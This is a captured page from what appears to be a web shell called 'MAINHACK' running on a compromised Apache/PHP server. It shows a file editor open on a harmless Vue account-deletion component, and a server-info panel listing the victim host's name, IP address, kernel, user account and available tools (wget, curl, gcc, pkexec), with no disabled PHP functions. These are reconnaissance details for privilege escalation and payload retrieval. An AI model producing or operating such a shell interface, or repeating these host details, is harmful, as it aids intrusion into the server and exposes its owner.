[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: DeleteUserForm.vue
<script setup> import { ref } from 'vue'; import { useForm } from '@inertiajs/vue3'; import ActionSection from '@/Components/ActionSection.vue'; import DangerButton from '@/Components/DangerButton.vue'; import DialogModal from '@/Components/DialogModal.vue'; import InputError from '@/Components/InputError.vue'; import SecondaryButton from '@/Components/SecondaryButton.vue'; import TextInput from '@/Components/TextInput.vue'; const confirmingUserDeletion = ref(false); const passwordInput = ref(null); const form = useForm({ password: '', }); const confirmUserDeletion = () => { confirmingUserDeletion.value = true; setTimeout(() => passwordInput.value.focus(), 250); }; const deleteUser = () => { form.delete(route('current-user.destroy'), { preserveScroll: true, onSuccess: () => closeModal(), onError: () => passwordInput.value.focus(), onFinish: () => form.reset(), }); }; const closeModal = () => { confirmingUserDeletion.value = false; form.reset(); }; </script> <template> <ActionSection> <template #title> Delete Account </template> <template #description> Permanently delete your account. </template> <template #content> <div class="max-w-xl text-sm text-gray-600"> Once your account is deleted, all of its resources and data will be permanently deleted. Before deleting your account, please download any data or information that you wish to retain. </div> <div class="mt-5"> <DangerButton @click="confirmUserDeletion"> Delete Account </DangerButton> </div> <!-- Delete Account Confirmation Modal --> <DialogModal :show="confirmingUserDeletion" @close="closeModal"> <template #title> Delete Account </template> <template #content> Are you sure you want to delete your account? Once your account is deleted, all of its resources and data will be permanently deleted. Please enter your password to confirm you would like to permanently delete your account. <div class="mt-4"> <TextInput ref="passwordInput" v-model="form.password" type="password" class="mt-1 block w-3/4" placeholder="Password" autocomplete="current-password" @keyup.enter="deleteUser" /> <InputError :message="form.errors.password" class="mt-2" /> </div> </template> <template #footer> <SecondaryButton @click="closeModal"> Cancel </SecondaryButton> <DangerButton class="ms-3" :class="{ 'opacity-25': form.processing }" :disabled="form.processing" @click="deleteUser" > Delete Account </DangerButton> </template> </DialogModal> </template> </ActionSection> </template>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.7 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002